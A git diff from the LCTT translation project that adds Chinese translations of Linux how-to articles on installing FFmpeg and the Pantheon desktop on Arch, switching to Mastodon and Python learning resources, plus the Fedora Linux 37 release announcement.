已经包含在这两个软件包中了。你可以开始使用了。 + +在另一个方面,如果你想看看如何安装最新的 LibreOffice,请查看 [这个指南][3]。 + +![在 Ubuntu 中安装 Libreoffice Base][4] + +最后,安装完毕后,你可以在应用菜单中找出 LibreOffice Base。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-libreoffice-base-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://archlinux.org/packages/extra/x86_64/libreoffice-fresh/ +[2]: https://archlinux.org/packages/extra/x86_64/libreoffice-still/ +[3]: https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Install-Libreoffice-Base-in-Ubuntu.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202211/24/111503yhkq3mihfxkxsh1v.jpg \ No newline at end of file diff --git a/published/202211/20221111.1 ⭐️ How to Install FFmpeg in Ubuntu and Other Linux.md b/published/202211/20221111.1 ⭐️ How to Install FFmpeg in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..8b4e3da3ed --- /dev/null +++ b/published/202211/20221111.1 ⭐️ How to Install FFmpeg in Ubuntu and Other Linux.md @@ -0,0 +1,174 @@ +[#]: subject: "How to Install FFmpeg in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/install-ffmpeg-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15269-1.html" + +如何在 Ubuntu 和其他 Linux 发行版中安装 FFmpeg +====== + +![][0] + +> 本教程讲述了在 Ubuntu 和其他 Linux 系统中安装 FFmpeg 所需的步骤。 + +FFmpeg 是一系列用于操作多媒体文件的库和软件程序。整个 FFmpeg 是一组强大的库,允许你转换、推流和操作音频和视频文件。许多前端 Linux 应用程序将其用作后端并依赖它。例如,屏幕录制应用程序可能需要 FFmpeg 将录制的流转换为 Gif 图像。 + +主流的应用程序和服务,如 VLC 媒体播放器、YouTube、Blender、Kodi、Shotcut 和 Handbrake 等,都使用 FFmpeg。 + +> 趣事:NASA 2020 年发射的毅力号火星探测器使用 FFmpeg 完成和处理图像和视频,然后将其发送回地球! + +### 关于 FFmpeg 包 + +[FFmped][1] 是一个强大的命令行工具。它支持 Linux、Windows 和 macOS,并支持多种架构。它是用 C 和汇编编写的,提供了强大的性能和跨平台实用性。 + +#### 核心 + +FFmpeg 的核心是命令行实用程序。它们可以在命令行上使用,也可以从任何编程语言中调用。例如,你可以从 Shell 程序、Python 脚本等程序中使用它们。 + +- `ffmpeg`:用于转换音频和视频流,包括来自 TV 卡等实时流的源 +- `ffplay`:此软件包中捆绑的媒体播放器,用于播放媒体 +- `ffprobe`:命令行工具,用于显示媒体信息 - 可以以 txt、csv、xml、json 格式输出 + +### FFmpeg 安装 + +在 Ubuntu 和其他 Linux 发行版中安装 FFmpeg 很容易。打开终端并运行以下命令以安装。 + +#### Ubuntu 以及相似的发行版 + +``` +sudo apt install ffmpeg +``` + +#### Fedora + +对于 Fedora Linux,你需要添加 [RPM Fusion repo][2]。Fedora 官方仓库没有 FFmpeg 包。 + +``` +sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm +``` + +``` +sudo dnf install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree- +``` + +``` +sudo dnf install ffmpeg +``` + +#### Arch Linux + +``` +pacman -S ffmpeg +``` + +在安装完成后,你可以使用以下命令验证安装。 + +``` +ffmpeg --version +``` + +![Ubuntu Linux 中安装的 FFmpeg][3] + +### 示例:ffmpeg 的基础用法 + +首先,让我给你一个简单的例子。考虑以下示例。它只是将 mp4 文件转换为 mkv 文件。 + +1、转换一个基本的视频文件 + +``` +ffmpeg -i big_buck_bunny.mp4 big_buck_bunny.mkv +``` + +当然,这是最简单的方法,但它不完整,因为它没有转换所需的视频文件的比特率、分辨率和其他属性。 + +2、转换一个音频文件 + +其次,你可以使用类似的命令转换音频文件。 + +``` +ffmpeg -i sunny_day.ogg sunny_day.mp3 +``` + +3、使用音频和视频编解码器转换 + +最后,以下示例可以使用指定的编解码器转换视频文件。参数 `-c` 带有的 `a` 或 `v` 分别定义音频和视频。下面的命令使用 `libvpx` 视频和 `libvorbis` 音频编解码器进行转换。 + +``` +ffmpeg -i big_buck_bunny.mp4 -c:v libvpx -c:a libvorbis big_buck_bunny.webm +``` + +### 如何找出系统中可用的编解码器,编码器和解码器? + +#### 列出所有编解码器 + +要列出所有可用的编解码器,请运行以下命令: + +``` +ffmpeg -codecs +``` + +该命令列出了所有可用的编解码器及其功能,是否支持解码或编码等。此外,它们根据下表的位置进行标识。 + +``` +D..... = Decoding supported +.E.... = Encoding supported +..V... = Video codec +..A... = Audio codec +..S... = Subtitle codec +...I.. = Intra frame-only codec +....L. = Lossy compression +.....S = Lossless compression +``` + +![FFmpeg 编解码器列表][4] + +#### 列出所有编码器 + +通过以下命令列出所有编码器: + +``` +ffmpeg -encoders +``` + +#### 列出所有解码器 + +同样的,你可以通过以下命令获取解码器列表: + +``` +ffmpeg -decoders +``` + +#### 详细信息 + +你还可以使用参数 `-h` 获取编码器或解码器的更多详细信息。 + +``` +ffmpeg -h decoder=mp3 +``` + +### 总结 + +我希望你学会了 FFmpeg 和它的命令的基础知识。你可以通过 [官方文档][5] 了解更多有关该程序的信息。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-ffmpeg-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://ffmpeg.org/ +[2]: https://www.debugpoint.com/2020/07/enable-rpm-fusion-fedora-rhel-centos/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/FFmpeg-installed-in-Ubuntu-Linux.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/FFmpeg-Codec-list.jpg +[5]: https://ffmpeg.org/documentation.html +[0]: https://img.linux.net.cn/data/attachment/album/202211/19/162251wxt2kaajvvayar8c.jpg \ No newline at end of file diff --git a/published/202211/20221111.2 ⭐️⭐️ How to Install Elementary OS’s Pantheon Desktop in Arch Linux.md b/published/202211/20221111.2 ⭐️⭐️ How to Install Elementary OS’s Pantheon Desktop in Arch Linux.md new file mode 100644 index 0000000000..809730e839 --- /dev/null +++ b/published/202211/20221111.2 ⭐️⭐️ How to Install Elementary OS’s Pantheon Desktop in Arch Linux.md @@ -0,0 +1,181 @@ +[#]: subject: "How to Install Elementary OS’s Pantheon Desktop in Arch Linux" +[#]: via: "https://www.debugpoint.com/pantheon-arch-linux-install/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15293-1.html" + +如何在 Arch Linux 中安装 elementary OS 的 Pantheon 桌面 +====== + +![][0] + +> Pantheon 是 elementary OS 的默认桌面环境。本快速指南解释了在 Arch Linux 中安装 Pantheon 桌面环境的步骤。 + +Pantheon 是 elementary OS 使用的一个漂亮的桌面环境。它基于 GTK3(GTK4 移植正在进行中)和 Vala,是一个漂亮而干净的桌面,为你提供了一个精致的 Linux 桌面体验。 + +该桌面主要由 elementary OS 使用。elementary OS 提供了 Pantheon 桌面的修改版,它是基于 GNOME 的。 + +elementary OS 基于 Ubuntu LTS 版本。因此,在基于 Ubuntu 的发行版中安装 Pantheon 桌面是超级容易的。这意味着如果你想在不安装 elementary OS 的情况下体验 Pantheon,在 Ubuntu 中这只需要一两个命令就可以安装。 + +在 Fedora 中,你也可以使用组包进行安装。然而,一个以 Fedora 为基础,名为 [Ultramarine Linux][1] 的发行版默认提供了它。 + +但是,在 Arch Linux 中安装 Pantheon 需要一些工作。它不是用简单的 `pacman` 命令就能直接完成的,而且不能开箱即用。需要一些配置,这可能会破坏你的系统。 + +这里我给你提供了在 Arch Linux 中安装 Pantheon 桌面的指南和步骤。 + +**警告:** 第一次可能不顺利,所以我建议你在物理系统上安装前先在虚拟机上进行。因为在 Arch 中安装 Pantheon 并不像在 Arch Linux 中安装 GNOME、Xfce 和 KDE Plasma 桌面那样流畅。它还需要一些额外的手动配置。 + +下面是在 Arch Linux 中安装 Pantheon 桌面的步骤。 + +### 在 Arch Linux 中安装 Pantheon 桌面 + +#### 第 1 步:安装基础系统 + +确保你按照 [本指南的自动 archinstall 脚本][2] 安装了 Arch Linux 基础系统。如果你已经在完成了 Arch 安装,你可以跳过这一步,按照下一步进行。 + +#### 第 2 步:更新你的系统 + +在你的 Arch 中打开一个终端。并通过运行以下命令确保系统是最新的: + +``` +pacman -Syu +``` + +#### 第 3 步:安装 yay AUR 助手 + +Pantheon 所需的许多包在 Arch 官方仓库中不可用。它们存在于 Arch 用户仓库(AUR)中。因此你需要安装 `yay` 以获得额外的软件包。按照 [本指南安装 yay AUR 助手][3]。 + +#### 第 4 步:在 Arch Linux 中安装 Pantheon 桌面 + +使用以下命令安装以下软件包。这些是 Arch 官方仓库中可用的必需软件包,包括所有必要的组件、wingpanel、图标和壁纸。 + +- [pantheon][4] +- lightdm-pantheon-greeter +- sound-theme-elementary +- switchboard +- lightdm-gtk-greeter +- elementary-icon-theme +- elementary-wallpapers +- pantheon-applications-menu +- wingpanel-indicator-session +- wingpanel-indicator-datetime + +``` +pacman -S --needed pantheon lightdm-pantheon-greeter sound-theme-elementary switchboard lightdm-gtk-greeter elementary-icon-theme elementary-wallpapers pantheon-applications-menu wingpanel-indicator-session wingpanel-indicator-datetime inter-font firefox +``` + +从 Arch 用户仓库安装以下包。这些是 Arch 官方仓库中不可用的一些附加包。这些可能需要一些时间来安装。 + +- pantheon-session-git +- gnome-settings-daemon-elementary +- pantheon-default-settings +- switchboard-plug-pantheon-tweaks-git +- urutau-icons-git +- pantheon-dock-git + +``` +yay -S pantheon-session-git pantheon-default-settings switchboard-plug-pantheon-tweaks-git urutau-icons-git pantheon-dock-git +``` + +下一步是安装显示服务器和管理器。使用 `lightdm` 作为 Arch 中 Pantheon 的显示管理器。我尝试将其他显示管理器与 Pantheon 一起使用,但结果并不理想。 + +``` +pacman -S --needed xorg lightdm +``` + +#### 第 5 步:配置 + +默认欢迎程序需要一些修改。运行以下命令以检查可用会话。 + +``` +ls -1 /usr/share/xgreeters +``` + +![greeters 列表][5] + +打开 lightdm 配置文件并将 `greeter-session` 更改为 `io.elementary.greeter`。 + +``` +sudo nano /etc/lightdm/lightdm.conf +``` + +``` +greeter-session=io.elementary.greeter +``` + +保存并关闭文件(`CTRL+O`、`回车` 和 `CTRL+X`)。 + +![lightdm 配置][6] + +在 systemd 中启用显示管理器和网络管理器。 + +``` +systemctl enable lightdmsystemctl enable NetworkManager +``` + +重启系统。 + +``` +systemctl reboot +``` + +如果一切顺利,你应该会看到以下登录屏幕(我知道,它看起来一点也不酷)。从顶部下拉菜单更改会话并使用用户名和密码登录。 + +![Pantheon 在 Arch 中的登录页面][7] + +#### 第 6 步:安装后配置 + +当我第一次登录到我的测试系统时,很多东西都不起作用。以下是列表及其可能的解决方案。 + +a、**壁纸**:壁纸模块似乎根本不起作用。因此,默认情况下没有壁纸。甚至“更改壁纸”选项也没有打开。如果遇到这种情况,请安装 `dconf` 编辑器并通过以下步骤更改壁纸。 + +``` +pacman -S --needed dconf-editor +``` + +接着从菜单启动 dconf 编辑器。进入 `org > gnome > desktop > background > picture-uri`。关闭默认值并添加自定义值 `file:////usr/share/backgrounds/Ashim DSilva.jpg`。你也可以使用任何其他图像。保存并关闭。 + +![使用 dconf-editor 更改背景属性][8] + +b、**图标**:通过 “设置Settings > 优化Tweaks” 更改图标。然后将图标和光标更改为 `urutau-icons`。 + +在完成所有配置和安装之后,你应该已经在 Arch Linux 中设置了 Pantheon 桌面。这是我的测试机的截图。 + +![Arch Linux 中的 Pantheon 桌面][9] + +### 结束语 + +我希望本指南能帮助你最终在 Arch Linux 中安装 Pantheon 桌面。我花了几天时间才终于能够将各个部分组合在一起并使它们发挥作用。 + +尽管一些小功能仍然无法使用,但有一个可用的 Pantheon 桌面。 + +唯一让我惊喜的是 Pantheon 在 Arch 中的表现。在我的同一台测试机上,elementary OS 安装不是那么快。但 Pantheon 基础版在 Arch 中的速度比原始 elementary OS 快。如果你喜欢 Pantheon,可以试试。 + +如果你遇到任何错误,请使用下面的评论栏告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/pantheon-arch-linux-install/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[ ](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/ultramarine-linux-36/ +[2]: https://www.debugpoint.com/archinstall-guide/ +[3]: https://www.debugpoint.com/install-yay-arch/ +[4]: https://wiki.archlinux.org/index.php/Pantheon +[5]: https://www.debugpoint.com/wp-content/uploads/2021/02/greeters-list.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/02/lightdm-conf.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/02/Login-screen-Pantheon-in-Arch.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/02/Change-background-property-using-dconf-editor.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2021/02/Pantheon-Desktop-in-Arch-Linux-1.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202211/27/104052h7iwfcw4larkio1i.jpg \ No newline at end of file diff --git a/published/202211/20221111.5 ⭐️⭐️ How to switch from Twitter to Mastodon.md b/published/202211/20221111.5 ⭐️⭐️ How to switch from Twitter to Mastodon.md new file mode 100644 index 0000000000..b38a52944f --- /dev/null +++ b/published/202211/20221111.5 ⭐️⭐️ How to switch from Twitter to Mastodon.md @@ -0,0 +1,118 @@ +[#]: subject: "How to switch from Twitter to Mastodon" +[#]: via: "https://opensource.com/article/22/11/switch-twitter-mastodon" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: " " +[#]: url: " " + +如何从 Twitter 切换到 Mastodon +====== + +> Mastodon 是一个开源的微博社区。 + +像许多人一样,我发现社交媒体有些令人兴奋,而且……有点过分。有时,你会陷入到算法、跟踪数据和针对你的广告中。你对想要查看的内容缺乏管理控制,尤其是在我们许多人习惯的旧平台上。像往常一样,你必须寻求开源来解决问题。而这正是开源微博社区 [Mastodon][1] 所做的。 + +使用 Mastodon 社交,你不仅是在使用开源软件,而且一切都是去中心化的,这意味着你可以部分地根据你想要使用的实例来选择你想要查看的内容。 Mastodon 使用不同的实例,每个实例都有自己的行为准则、隐私选项和审核政策。这意味着当你加入一个实例时,你不太可能看到你不感兴趣的内容,而更有可能看到来自与你有共同兴趣的人的消息。 + +但是,你也可以与其他实例进行交互。所有 Mastodon 实例都能在用户称之为 “联邦宇宙fediverse” 的地方 “联合”。 + +### 什么是联邦宇宙? + +“联邦宇宙fediverse” 是联合(互连)服务器的集合。这个词来自 “联邦federated” 和 “宇宙universe” 的组合。你可以将其用于各种网络发布,从社交网络到网站再到文件托管。虽然每个实例都是独立托管的,但它们可以相互通信。 + +### 那么我该如何注册 Mastodon? + +首先,前往 [Mastodon.social][2] 进行注册。 + +在屏幕的右侧,有 “登录Sign in” 和 “创建帐户Create account” 按钮。 + +![Sign-in or Create Account interface][3] + +但是,因为任何人都可以运行 Mastodon 服务器,所以有很多实例,并且一些服务器已经成为社区的所在地,这些社区的兴趣可能与你的兴趣一致。正如我所说的,无论如何你都可以访问整个联邦宇宙,但如果能在一个人们已经“说你的语言”的服务器上开始,那就更好了(也可以是字面意思,因为你可以添加一个过滤器以查找使用你的母语的服务器)。 + +要查找服务器,请单击 “查找另一台服务器Find another server”按钮。 + +![Signing up interface][4] + +当你单击该按钮时,你将进入 [加入 Mastodon 页面][5],其中有一个列出可用服务器的按钮。 + +![Getting started interface][6] + +向下滚动时,你可以在左侧选择一个主题,以帮助你找到希望托管的位置。 + +![Topic list][7] + +我的主题都是关于开源的,所以让我们看看我们在技术主题中有什么。 + +![Technology topics][8] + +如你所见,有一个包含许多等候名单的大型索引。在这种情况下,Opensource.com 的一位作者 Don Watkins 似乎选择了一个适合他自己和我们天才小组的实例。因此,我将跳过并告诉你我要去哪里:有一个名为 [Fosstodon][9] 的自由开源软件服务器,我选择在那里注册,这样我就可以自由分享我的文章。 + +以下是登录步骤。 + +首先,输入你的信息: + +![Steps for signing in][10] + +接下来,你会收到有关确认电子邮件的消息: + +![Confirmation message][11] + +当你收到邮件时,点击 “验证Verify” 按钮,系统会提示你确认你的登录信息。 + +该服务器确实有申请加入的过程。这个过程不仅是出于安全原因,也是为了隐私。获得批准后,你就会收到这封很棒的电子邮件! + +![Welcome message][12] + +我保留了其他社交媒体场所的地址,因此很容易从一个地方来回移动到另一个地方,并通过复制和 API 调用交叉发布。 + +### 完全控制 + +现在我有了一个新的个人资料页,我可以更改我收到的电子邮件的偏好,从而更好地控制我看到的内容。这是让我对媒体接收有更多控制权的好方法,非常感谢。单击 “偏好Preferences” 后,Mastodon 会为我提供炫酷的外观、语言信息和许多其他选项。 + +![Appearance settings][13] + +接下来,我可以点击 “通知Notifications” 并限制我看到的内容和收到通知的内容,这样我就可以选择更少的噪音。 + +![Notifications settings][14] + +在没有算法干预的情况下完全控制我的媒体非常棒。你还可以为个人资料上的内容设置特色主题标签,以关注长期项目或让人们通过关注这些主题标签找到你。你还可以选择过滤器、关注者等等。 + +### 总结 + +这种开源社交媒体是找到你的人群并与兴趣广泛的人进行广泛互动的好方法。控制媒体摄入量对于你生活中的某种平衡非常有用,你可以查看 [贡献者规则][15] 选择加入贡献。 + +除了控制你自己的社交媒体体验外,你还可以获得适用于所有设备的手机应用,包括适用于 iPhone 的 Toot 和适用于 Android 的 Tusky。 + +总而言之:我认为我们都应该做好新的开源社交媒体世界的准备。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/switch-twitter-mastodon + +作者:[Jessica Cherry][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/11/twitter-vs-mastodon +[2]: https://mastodon.social/ +[3]: https://opensource.com/sites/default/files/2022-11/1signin-createaccount.png +[4]: https://opensource.com/sites/default/files/2022-11/2signingup.png +[5]: https://joinmastodon.org/servers +[6]: https://opensource.com/sites/default/files/2022-11/3gettingstarted.png +[7]: https://opensource.com/sites/default/files/2022-11/4topics.png +[8]: https://opensource.com/sites/default/files/2022-11/5techtopic.png +[9]: https://fosstodon.org/ +[10]: https://opensource.com/sites/default/files/2022-11/6signin.jpg +[11]: https://opensource.com/sites/default/files/2022-11/7confirmation.png +[12]: https://opensource.com/sites/default/files/2022-11/8welcome.png +[13]: https://opensource.com/sites/default/files/2022-11/9appearance.png +[14]: https://opensource.com/sites/default/files/2022-11/10notifications.png +[15]: https://github.com/mastodon/mastodon/blob/main/CONTRIBUTING.md diff --git a/published/202211/20221112.0 ⭐️ Learn Python 7 of my favorite resources.md b/published/202211/20221112.0 ⭐️ Learn Python 7 of my favorite resources.md new file mode 100644 index 0000000000..8f359d285a --- /dev/null +++ b/published/202211/20221112.0 ⭐️ Learn Python 7 of my favorite resources.md @@ -0,0 +1,82 @@ +[#]: subject: "Learn Python: 7 of my favorite resources" +[#]: via: "https://opensource.com/article/22/11/learn-python" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15267-1.html" + +学习 Python:我最喜欢的 7 个资源 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/19/105720mfgygbzyg3ccttce.jpg) + +> 这些年来,我通过这些开源资源提高了我的 Python 技能。 + +我最近决定进一步学习 Python,以便提高我的教学技能,拓宽我的学生的视野。在这个过程中,我发现了这些优秀的资源,让我学习新的代码,并提高了对 Python 的整体理解。 + +### 1、《教孩子学编程 Python 语言版》 + +我的 Python 之旅大约是 7 年前开始的,当时我发现了 Apple LOGO 和 Python 中的 [Turtle 模块][1] 之间的联系。当时使用的 Linux 计算机的默认 Python 版本为 Python 2.7,我很快发现我想使用 Python 3。我成功地安装了它,并开始使用 Turtle 模块编写一些简单的程序。在阅读 Dr. Bryson Payne 的 《[教孩子学编程 Python 语言版][2]》 之后,我意识到 Python 不仅仅是 Turtle。那时我安装了 [IDLE][3]。 + +### 2、IDLE + +在使用 IDLE 工作的过程中,交互式界面优化了我的体验,并让我有足够的信心来考虑向学生教授 Python。我志愿帮助我社区中的一群在家学习的孩子,很快我发现自己在教授一个有十六个孩子的班级!我很高兴他们的父母同意帮助我,否则我想我会被压垮。这个经历激发了我学习更多的欲望,以便我可以教授更多。 + +### 3.、Mu 编辑器 + +2018 年春天,我参加了 PyConUS。我听了一场由中学老师 [Nicholas Tollervey][4] 主讲的演讲,他为学龄前儿童编写了一个 Python 开发环境。[Mu 编辑器][5] 内置了一个可以帮助我找到代码中的错误的 质检工具Linter。Mu 帮助我提高了我的编码技能,我也能够与学生分享这些技能,他们也从中受益。 + +我的自信和经验增长后,我希望与更多的学生分享 Python 之旅。我与其他人合作撰写了一个申请书,以教授一个使用树莓派 4 和 Python 的课程。疫情打断了这个计划。在此期间,树莓派基金会发布了树莓派 400。2021 年春天,我使用了前一年开发的材料和一个来自当地图书馆的慷慨的资助,来 [教授两组][6] 学生如何编程。这个活动非常成功并在今年再次举办。 + +### 4、Codium + +几年前,我了解到微软的 VS Code 是一个可以在 Linux 上使用的开源代码编辑器。我最近才了解到,如何在 VS Code 中配置和使用 Python 虚拟环境。我的问题在一篇 [关于虚拟环境的文章][7] 中得到了解答,这让我可以知道如何在 Linux 计算机上设置和配置 Python 虚拟环境。大约在同一时间,我发现了 [Codium][8],一个围绕 VS Code 构建的社区项目。 + +现在我希望与我的学生分享 VS Codium 的体验,并让他们对 Python 的理解不再局限于 Turtle 模块。这种学习的热情让我寻找开源且可以在互联网上随意获得的教学资源。 + +### 5、《Python 编程练习,简单解释》 + +《[Python 编程快速上手 让繁琐工作自动化][9]》 这本书是我最喜欢的一本书。现在,作者已经发布了 《[Python 编程练习,简单解释][10]》。这两本书都可以免费在线阅读,并且都采用了知识共享许可证。 + +### 6、《每个人都可以使用 Python》 + +Dr. Charles Severance 在 2017 年发布了 《[每个人都可以使用 Python][11]》,我非常推荐这本书。他为像我这样的有抱负的程序员提供了简短的课程。课程的代码可以在 [GitHub][12] 上找到,所以你可以下载它并在自己的计算机或学校网络上安装它。 + +### 7. Python 视频 + +最近,我了解到 [Jay LaCroix][13] 在 YouTube 上有一系列精彩的视频,其中包括 28 个免费视频,从 Python 基础开始,涵盖了 [Python 编程][14] 的全面介绍。最重要的是,他使用的是 Linux 计算机,因此他的课程特别适合 Linux 编程环境。这些视频的其中一个收获是学习如何使用 [nano][15] 作为编程环境,它默认情况下包含在大多数 Linux 发行版中。 + +### 你的学习之路 + +此处提到的这七个资源帮助我成长为一名程序员,它们都是开源的并可以与其他人分享。你是如何提高编程技能的?你有什么要分享的吗?在评论中告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/learn-python + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/9/logo-python-turtle +[2]: https://opensource.com/education/15/9/review-bryson-payne-teach-your-kids-code +[3]: https://docs.python.org/3/library/idle.html +[4]: https://us.pycon.org/2018/speaker/profile/194/ +[5]: https://opensource.com/article/20/9/teach-python-mu +[6]: https://opensource.com/article/21/6/teach-python-raspberry-pi +[7]: https://opensource.com/article/20/10/venv-python +[8]: https://opensource.com/article/22/11/python-vs-code-codium +[9]: https://automatetheboringstuff.com/#toc +[10]: https://inventwithpython.com/pythongently/ +[11]: https://www.py4e.com/lessons +[12]: https://github.com/csev/py4e +[13]: https://opensource.com/users/jlacroix +[14]: https://youtube.com/playlist?list=PLT98CRl2KxKGIazPd2nQEPbG7sQpT8LEj +[15]: https://opensource.com/article/20/12/gnu-nano diff --git a/published/202211/20221115 Announcing Fedora Linux 37.md b/published/202211/20221115 Announcing Fedora Linux 37.md new file mode 100644 index 0000000000..4ce0157c9f --- /dev/null +++ b/published/202211/20221115 Announcing Fedora Linux 37.md @@ -0,0 +1,85 @@ +[#]: subject: "Announcing Fedora Linux 37" +[#]: via: "https://fedoramagazine.org/announcing-fedora-37/" +[#]: author: "Matthew Miller https://fedoramagazine.org/author/mattdm/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15258-1.html" + +Fedora Linux 37 发布 +====== + +![][1] + +今天我很兴奋地与大家分享成千上万的 Fedora 项目贡献者的辛勤工作成果:Fedora Linux 37 版本来了!让我们看看这个最新版本给你带来了什么。一如既往,在从以前的版本升级之前,你应该确保你的系统是完全最新的。迫不及待地想开始了吗?在你阅读的同时 [下载][2]! + +> **[下载 Fedora Linux 37][2]** + +### 两个新的版本 + +Fedora 的各个“版本Edition”是针对某一特定“市场”的旗舰产品。在 Fedora Linux 37 中,我们增加了两个新版本:Fedora CoreOS 是你可能还记得的 Atomic Host 的后续版本。从 Project Atomic 和 CoreOS 的初始的工作中汲取营养,它提供了一种自动更新机制,以托管基于容器的工作负载。通过原子更新和简单的回滚,它为你的基础设施增加了安全感。 + +Fedora Cloud 也作为一个版本回来了。云计算工作组的活动已经重新开始了。Cloud 版本提供了一个很棒的 Fedora 基础,可以在你喜欢的公共或私有云中运行。AMI 将在本周晚些时候在 AWS 市场上提供,在社区频道上现在已经可以使用。请查看 [此网站][3] 以了解可以在其他云供应商或你自己的云上运行的镜像! + +### 桌面的改进 + +Fedora Workstation 专注于桌面体验。像往常一样,Fedora Workstation 采用了最新的 GNOME 版本。[GNOME 43][4] 在设置中包括一个新的设备安全面板,为用户提供关于系统中硬件和固件的安全信息。在上一个版本的基础上,更多的 GNOME 核心应用程序被移植到了最新版本的 GTK 工具包,提供了更好的性能和现代的外观。  + +在这个版本中,我们做了一些改变,让你的安装变得更精简。我们把 Firefox 浏览器的语言包分成了子包。这意味着如果你不需要本地化,你可以删除 `firefox-langpacks` 包。gettext 的运行包(帮助其他包产生多语言文本的工具)被分割成一个单独的、可选择的子包。 + +当然,我们生产的不仅仅是“版本”。Fedora [定制版][5]Spins[实验室][6]Labs 针对的是不同的受众和使用情况,包括 [Fedora Comp Neuro][7] ,它为计算神经科学提供工具,以及像 [Fedora LXQt][8] 这样的桌面环境,它提供一个轻量级桌面环境。而且,别忘了我们的备用架构。[ARM AArch64、Power 和 S390x][9]。 + +### 系统管理方面的改进 + +Fedora Server 现在可以生成一个 KVM 磁盘镜像,使在虚拟机中运行 Server 更加容易。如果你已经禁用了 SELinux(没关系 —— 我们仍然爱你!),你可以在影响较小的情况下重新开启它。自动标签现在以并行方式运行,使 “fixfiles” 操作更快。 + +为了跟上密码学的发展,这个版本引入了一个 `TEST-FEDORA39` 策略,预览了计划在未来版本中的变化。新策略之一是不再使用 SHA-1 签名。研究人员早就知道这种哈希值(就像之前的 MD5 一样)在许多安全方面的使用是不安全的。 + +在未来,我们可能会将 SHA-1 从 Fedora Linux 可接受的安全算法列表中移除。(正如 `TEST-FEDORA39` 这个名字所暗示的那样,也许最快也要到明年。)不过我们知道如今 SHA-1 哈希值仍然在使用。新的策略可以帮助你现在就测试你的关键应用程序,这样你就可以做好准备。请尝试一下,并让我们知道你在哪里遇到了问题。 + +说到密码学,openssl1.1 包现在已经废弃了。它还能用,但我们建议你更新你的代码,以使用 openssl 3。 + +### 其他更新 + +树莓派 4 现在在 Fedora Linux 中得到了正式支持,包括图形加速。在 ARM 的其他方面,Fedora Linux 37 放弃了对 ARMv7 架构(也被称为 arm32 或 armhfp)的支持。 + +在我们的“[First][10]”基础上,我们已经更新了关键的编程语言和系统库包,包括 Python 3.11、Golang 1.19、glibc 2.36 和 LLVM 15。 + +我们很高兴你能试用这个新版本!请到 下载。或者如果你已经在运行 Fedora Linux,请按照 [简易升级说明][11]。更多关于 Fedora Linux 37 的新功能的信息,请看 [发行说明][12]。 + +### 在不太可能发生的情况下... + +如果你遇到了问题,请访问我们的 [Ask Fedora][13] 用户支持论坛。这里有一个 [常见问题][14] 的分类。 + +### 谢谢大家 + +感谢在这个发布周期为 Fedora 项目做出贡献的成千上万的人。我们很高兴 Fedora 社区有你们。 + 